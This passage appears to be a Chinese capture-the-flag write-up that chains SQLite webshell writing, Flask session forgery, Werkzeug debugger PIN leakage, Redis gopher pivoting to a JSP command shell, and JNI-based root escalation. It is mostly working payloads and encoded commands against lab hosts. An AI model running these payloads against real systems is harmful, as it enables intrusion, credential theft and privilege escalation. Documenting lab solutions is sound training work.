?dsn=sqlite:test.php&query=CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY,'<?php phpinfo();?>' TEXT NOT NULL,email TEXT NOT NULL,created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP)
能写,接下来尝试打远程
需要url编码:
index.php?dsn=sqlite:user.php%26query=CREATE%20TABLE%20users(id%20INTEGER%20PRIMARY%20KEY,user%20TEXT%20NOT%20NULL);
但是所有人都卡在了接收不到参数上。。
于是到了6号下午,这个时候数据库有回显了,果然是环境有问题(
需要先生成一个完整表结构的文件:
index.php?dsn=sqlite:user.db%26query=CREATE%20TABLE%20users(id%20INTEGER%20PRIMARY%20KEY,user%20TEXT%20NOT%20NULL);
尝试写马(第二段payload需要php用exec
才能写马)
?dsn=sqlite:user.php%26query=CREATE%20TABLE%20users(id%20INTEGER%20PRIMARY%20KEY,'<?php%20phpinfo();?>'%20TEXT%20NOT%20NULL);
?dsn=sqlite:user.db%26query=ATTACH%2BDATABASE%2B%22%2Fvar%2Fwww%2Fhtml%2Fcmd%2Ephp%22%2BAS%2Bshell%3Bcreate%2BTABLE%2Bshell%2Eexp%2B%28payload%2Btext%29%3Binsert%2BINTO%2Bshell%2Eexp%2B%28payload%29%2BVALUES%28%22%3C%3F%3Deval%28%24%5FGET%5B0%5D%29%3B%22%29%3B
能生成文件,但是访问返回500,猜测和 sqlite 那堆字符有关,得写一个干净的shell
getshell
琢磨了半天群主直接给payload了:
%3fdsn=sqlite:shell.php%26username=aaa%26password=bbb%26query=create%20table%20"aaa"%20(name%20TEXT%20DEFAULT%20"<?php%20file_put_contents('1.php','<?php eval($_GET[1]);?>');?>");
此时访问shell.php虽然接口服务会报500,但是已经生成了1.php
然后就getshell了
读config.php
<?php
//数据库连接配置
$database_host = "localhost";
$database_user = "root";
$database_password = "3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5";
$database_name = "web_db_2";
?>
flag:ctfshow{3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5}
index.php
<?php
$pdo =null;
$dsn = $_GET['dsn'];
$username = $_GET['username'];
$password = $_GET['password'];
$pdo = pdo_init($dsn, $username, $password);
if($pdo === null){
echo "database init faild";
exit();
}
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql = $_GET['query'];
$stmt = pdo_query($pdo, $sql);
pdo_close($pdo);
if($stmt!==null){
echo "database test success";
}else{
echo "database test error";
}
function pdo_init($dns, $username, $password){
try{
$pdo = new PDO($dns,$username, $password);
$pdo->query("set names utf8");
return $pdo;
}catch(PDOException $e){
echo "数据库连接失败:".$e->getMessage();
exit();
}
}
function pdo_query($pdo, $sql, $params=array()){
try{
$stmt = $pdo->prepare($sql);
$stmt->execute($params);
return $stmt;
}catch(PDOException $e){
echo "数据库操作失败:".$e->getMessage();
exit();
}
}
function pdo_close($pdo){
$pdo = null;
}
?>
<!DOCTYPE html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Database TEST</title>
<script>
const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';
</script>
</head>
<body>
<h1>Welcome to Database TEST</h1>
<p>This is a test page for database connection and queries.</p>
<form action="index.php" method="get">
<label for="name">Enter Database username:</label>
<input type="text" id="name" name="username" required>
<br><br>
<label for="password">Enter Database password:</label>
<input type="password" id="password" name="password" required>
<br><br>
<label for="dsn">Enter Database DSN:</label>
<input type="text" id="dsn" name="dsn" required>
<br><br>
<label for="query">Enter TEST Query:</label>
<input type="text" id="query" name="query" required>
<br><br>
<input type="submit" value="Submit">
</form>
</body>
<html>
邮箱迷云
非预期
?浏览器插件里出现了个数字,看了一下是从网页js来的,试一下居然秒了
flag:ctfshow{81192}
预期
根目录下有 /secret.txt,是一串base,解码得到
hacker_ctfshow@163.com/Hacker_ctfsh0w
网易云邮箱的账密这是,应该是可以直接登录得到邮件的
第四章(Flask)
再下一城
在 172.2.xxx.6:8888 开的 flask
审一下源码:
from flask import Flask, request, jsonify, session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join
app = Flask(__name)
app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'
@app.route('/', methods=['GET'])
def index():
session['user'] = 'guest'
return {'message': 'log server is running'}
def check_session():
if 'user' not in session:
return False
if session['user'] != 'admin':
return False
return True
@app.route('/key', methods=['GET'])
def get_key():
if not check_session():
return {"message": "not authorized"}
else:
with open('/log_server_key.txt', 'r') as f:
key = f.read()
return {'message': 'key', 'key': key}
@app.route('/set_log_option')
def set_log_option():
if not check_session():
return {"message": "not authorized"}
logName = request.args.get('logName')
logFile = request.args.get('logFile')
app_log = logging.getLogger(logName)
app_log.addHandler(logging.FileHandler('./log/' + logFile))
app_log.setLevel(logging.INFO)
clear_log_file('./log/' + logFile)
return {'message': 'log option set successfully'}
@app.route('/get_log_content')
def get_log_content():
if not check_session():
return {"message": "not authorized"}
logFile = request.args.get('logFile')
path = join('log', basename(logFile))
with open(path, 'r') as f:
content = f.read()
return {'message': 'log content', 'content': content}
def clear_log_file(file_path):
with open(file_path, 'w'):
pass
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=8888)
只需要伪造 session 为 admin 就行了:eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU
但是在哪传呢,测了一下发现任务中心不出网
看来要把php那台机子拿下shell才能打
开了debug模式,可以访问console
php那台服务器有curl,直接curl就行
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.227.6:8888/key
flag:ctfshow{4f5d1d5d-1d5d-1d5d1d5d1d5d}
顺藤摸瓜(复现)
接下来关注这个:
@app.route('/set_log_option')
def set_log_option():
if not check_session():
return {"message": "not authorized"}
logName = request.args.get('logName')
logFile = request.args.get('logFile')
app_log = logging.getLogger(logName)
app_log.addHandler(logging.FileHandler('./log/' + logFile))
app_log.setLevel(logging.INFO)
clear_log_file('./log/' + logFile)
return {'message': 'log option set successfully'}
@app.route('/get_log_content')
def get_log_content():
if not check_session():
return {"message": "not authorized"}
logFile = request.args.get('logFile')
path = join('log', basename(logFile))
with open(path, 'r') as f:
content = f.read()
return {'message': 'log content', 'content': content}
def clear_log_file(file_path):
with open(file_path, 'w'):
pass
构造curl
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.227.6:8888/set_log_option?logFile=../../../etc/passwd%2526logName=1
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.227.6:8888/get_log_content?logFile=1
尝试利用clear_log_file
直接读 /etc/passwd,但是前面要写日志到文件中,明显权限不足
想到还有 console,但是没有PIN码,怎么办呢
因为这里有 logging 库,可以把控制台打印的东西保存下来,而我们访问/console?__debugger__=yes&cmd=printpin&s=SECRET
时会把PIN码打印在控制台,那么就可以把PIN码写到日志
那么先获取console的key,直接访问console,在返回的html中就有:
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.186.6:8888/console
然后设置日志文件路径:
http://172.2.186.5/1.php?1=system('curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3CODA.xtpnmtcEw-pXdixnj36DDm51-FY" "http://172.2.186.6:8888/set_log_option%3flogName=werkzeug%2526logFile=main.log"');
接下来使控制台打印出PIN码写到日志中:
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" http://172.2.186.6:8888/console?__debugger__=yes&cmd=printpin&s=64cjjJmRmKNv647oy994
这里可以对命令进行编码来避免解码问题
http://172.2.186.5/1.php?1=system(base64_decode('Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aM2ZSb2cuakRhSXlvQzlzcGF6QUprZ2N3UUlhcGtHSXhVIiAiaHR0cDovLzE3Mi4yLjE4Ni42Ojg4ODgvY29uc29sZT9fX2RlYnVnZ2VyX189eWVzJmNtZD1wcmludHBpbiZzPTY0Y2pqSm1SbUtOdjY0N295OTk0Ig=='));
然后读取日志
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" 172.2.186.6:8888/get_log_content?logFile=main.log
得到PIN码 606-570-039
然后进行PIN验证:
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" "http://172.2.186.6:8888/console?__debugger__=yes&cmd=pinauth&pin=606-570-039&s=64cjjJmRmKNv647oy994"
http://172.2.186.5/1.php?1=system(base64_decode('Y3VybCAtYiAic2Vzc2lvbj1leUoxYzJWeUlqb2lZV1J0YVc0aWZRLlozZlJvZy5qRGFJeW9DOXNwYXpBSmtnY3dRSWFwa0dJeFUiICJodHRwOi8vMTcyLjIuMTg2LjY6ODg4OC9jb25zb2xlP19fZGVidWdnZXJfXz15ZXMmY21kPXBpbmF1dGgmcGluPTYwNi01NzAtMDM5JnM9NjRjampKbVJtS052NjQ3b3k5OTQi'));
验证通过,需要用curl -c
来保存cookie
curl -c cookie.txt -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3fRog.jDaIyoC9spazAJkgcwQIapkGIxU" "http://172.2.186.6:8888/console?__debugger__=yes&cmd=pinauth&pin=606-570-039&s=64cjjJmRmKNv647oy994"
访问跳板机上的cookie.txt
然后带着这个cookie去就可以rce了,这里直接文件读取了
curl -b "__wzdb4206e39743d62f78f25=1736741655|a7b6c7c8a2a5" "http://172.2.186.6:8888/console?__debugger__=yes&cmd=open('/etc/passwd','r').read()&frm=0&s=64cjjJmRmKNv647oy994"
flag:ctfshow{ctfer:x:1000:1000::/home/ctfer:/bin/bash}
第五章(Jetty)
艰难的最后一步
那这章就是 jetty 服务了:172.2.xxx.7:8080
参考:https://xz.aliyun.com/t/11821
测试读到 web.xml
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<!-- 环境参数 -->
<env-entry>
<env-entry-name>redis.host</env-entry-name>
<env-entry-type>java.lang.String</env-entry-type>
<env-entry-value>localhost</env-entry-value>
</env-entry>
<env-entry>
<env-entry-name>redis.port</env-entry-name>
<env-entry-type>java.lang.Integer</env-entry-type>
<env-entry-value>6380</env-entry-value>
</env-entry>
<env-entry>
<env-entry-name>redis.password</env-entry-name>
<env-entry-type>java.lang.String</env-entry-type>
<env-entry-value>ctfshow_2025</env-entry-value>
</env-entry>
<env-entry>
<env-entry-name>redis.timeout</env-entry-name>
<env-entry-type>java.lang.Integer</env-entry-type>
<env-entry-value>10000</env-entry-value>
</env-entry>
<env-entry>
<env-entry-name>app_root</env-entry-name>
<env-entry-type>java.lang.String</env-entry-type>
<env-entry-value>/opt/jetty/webapps/ROOT/</env-entry-value>
</env-entry>
</web-app>
flag:ctfshow{ctfshow_2025}
功亏一篑(复现)
一开始是想在php跳板机上写一个 php 打 gopher 到 redis 上
但是发现 curl 是支持 dict://
协议和gopher://
协议的
curl -v "dict://172.2.132.7:6380/auth:ctfshow_2025"
http://172.2.132.5/1.php?1=system(base64_decode('Y3VybCAtdiAiZGljdDovLzE3Mi4yLjEzMi43OjYzODAvYXV0aDpjdGZzaG93XzIwMjUi'));
直接构造 gopher 请求包写jsp马
auth ctfshow_2025
set mars "<% Runtime.getRuntime().exec(new String[]{\"sh\",\"-c\",request.getParameter(\"cmd\")});%>"
config set dir /opt/jetty/webapps/ROOT/
config set dbfilename 2.jsp
save
quit
url编码然后发送
curl -v "gopher://172.2.132.7:6380/_auth%20ctfshow_2025%0Aset%20mars%20%22%3C%25%20Runtime.getRuntime().exec(new%20String%5B%5D%7B%5C%22sh%5C%22%2C%5C%22-c%5C%22%2Crequest.getParameter(%5C%22cmd%5C%22)%7D)%3B%25%3E%22%0Aconfig%20set%20dir%20%2Fopt%2Fjetty%2Fwebapps%2FROOT%2F%0Aconfig%20set%20dbfilename%202.jsp%0Asave%0Aquit"
http://172.2.132.5/1.php?1=system(base64_decode('Y3VybCAtdiAiZ29waGVyOi8vMTcyLjIuMTMyLjc6NjM4MC9fYXV0aCUyMGN0ZnNob3dfMjAyNSUwQXNldCUyMG1hcnMlMjAlMjIlM0MlMjUlMjBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyUyMFN0cmluZyU1QiU1RCU3QiU1QyUyMnNoJTVDJTIyJTJDJTVDJTIyLWMlNUMlMjIlMkNyZXF1ZXN0LmdldFBhcmFtZXRlciglNUMlMjJjbWQlNUMlMjIpJTdEKSUzQiUyNSUzRSUyMiUwQWNvbmZpZyUyMHNldCUyMGRpciUyMCUyRm9wdCUyRmpldHR5JTJGd2ViYXBwcyUyRlJPT1QlMkYlMEFjb25maWclMjBzZXQlMjBkYmZpbGVuYW1lJTIwMi5qc3AlMEFzYXZlJTBBcXVpdCI='));
执行成功,直接rce
http://172.2.132.7:8080/2.jsp?cmd=ls%20/>/opt/jetty/webapps/ROOT/success.txt
同样的方式读取dylan.txt
The enemy cyber attacker 81192 has been injected with prions by our agents,
and there is no chance of survival, victory is ours!
The key is 7b11a7ae330883cb5bf667a9c1604635.
flag:ctfshow{7b11a7ae330883cb5bf667a9c1604635}
今日方知我是我(复现)
需要提权为root
查suid
find%20/%20-perm%20-u=s%20-type%20f%202>/dev/null>/opt/jetty/webapps/ROOT/success.txt
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/bin/mount
/bin/umount
/bin/su
/bin/ping
GTFObins 搜了下没有可用的命令
查cap权限
getcap%20-r%20/%202>/dev/null>/opt/jetty/webapps/ROOT/success.txt
/usr/local/openjdk-8/bin/java = cap_setuid+ep
java 设置了 cap_setuid 权限
那么需要用 java 执行setuid(0)
的操作,然而java并不像python那样有专门的 os.setuid 可以设置
需要通过 JNI + setuid 实现,参考 https://stackoverflow.com/questions/5985597/jni-setuid-question
这里按照官方wp的做法:
利用编码写入 SetUID.c:
#include <jni.h>
#include <unistd.h>
JNIEXPORT jint JNICALL Java_SetUID_setUID(JNIEnv *env, jobject obj, jint uid) {
return setuid(uid);
}
2.jsp?cmd=echo%20"I2luY2x1ZGUgPGpuaS5oPgovLzExMTExMTExMTExMjIKI2luY2x1ZGUgPHVuaXN0ZC5oPgoKSk5JRVhQT1JUIGppbnQgSk5JQ0FMTCBKYXZhX1NldFVJRF9zZXRVSUQoSk5JRW52ICplbnYsIGpvYmplY3Qgb2JqLCBqaW50IHVpZCkgewogICAgcmV0dXJuIHNldHVpZCh1aWQpOwp9"%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.c
写入 SetUID.java:
public class SetUID {
static {
System.loadLibrary("SetUID");
}
public native int setUID(int uid);
public static void main(String[] args) throws Exception {
SetUID setUID = new SetUID();
int result = setUID.setUID(0);
Runtime.getRuntime.exec(new String[]{"sh","-c","cat /root/*.txt>/opt/jetty/webapps/ROOT/root.txt"});
}
}
2.jsp?cmd=echo%20"cHVibGljIGNsYXNzIFNldFVJRCB7CiAgICBzdGF0aWMgewogICAgICAgIFN5c3RlbS5sb2FkTGlicmFyeSgiU2V0VUlEIik7IAogICAgfQoKICAgIHB1YmxpYyBuYXRpdmUgaW50IHNldFVJRChpbnQgdWlkKTsgCiAgLy9hCiAgICBwdWJsaWMgc3RhdGljIHZvaWQgbWFpbihTdHJpbmdbXSBhcmdzKSB0aHJvd3MgRXhjZXB0aW9uIHsKICAgICAgICBTZXRVSUQgc2V0VUlEID0gbmV3IFNldFVJRCgpOwogICAgICAgIGludCByZXN1bHQgPSBzZXRVSUQuc2V0VUlEKDApOyAKICAgICAgICBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyBTdHJpbmdbXXsic2giLCItYyIsImNhdCAvcm9vdC8qLnR4dD4vb3B0L2pldHR5L3dlYmFwcHMvUk9PVC9yb290LnR4dCJ9KTsKICAgIH0KfQ=="%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.java
编译 c 和 java 文件
2.jsp?cmd=gcc%20-shared%20-fPIC%20-o%20/opt/jetty/webapps/ROOT/libSetUID.so%20-I${JAVA_HOME}/include%20-I${JAVA_HOME}/include/linux%20/opt/jetty/webapps/ROOT/SetUID.c
2.jsp?cmd=javac%20/opt/jetty/webapps/ROOT/SetUID.java
以root权限执行命令:
2.jsp?cmd=java%20-Djava.library.path=/opt/jetty/webapps/ROOT/%20-cp%20/opt/jetty/webapps/ROOT/%20SetUID
得到 /root/message.txt 的内容
flag:ctfshow{http://8.11.9.2}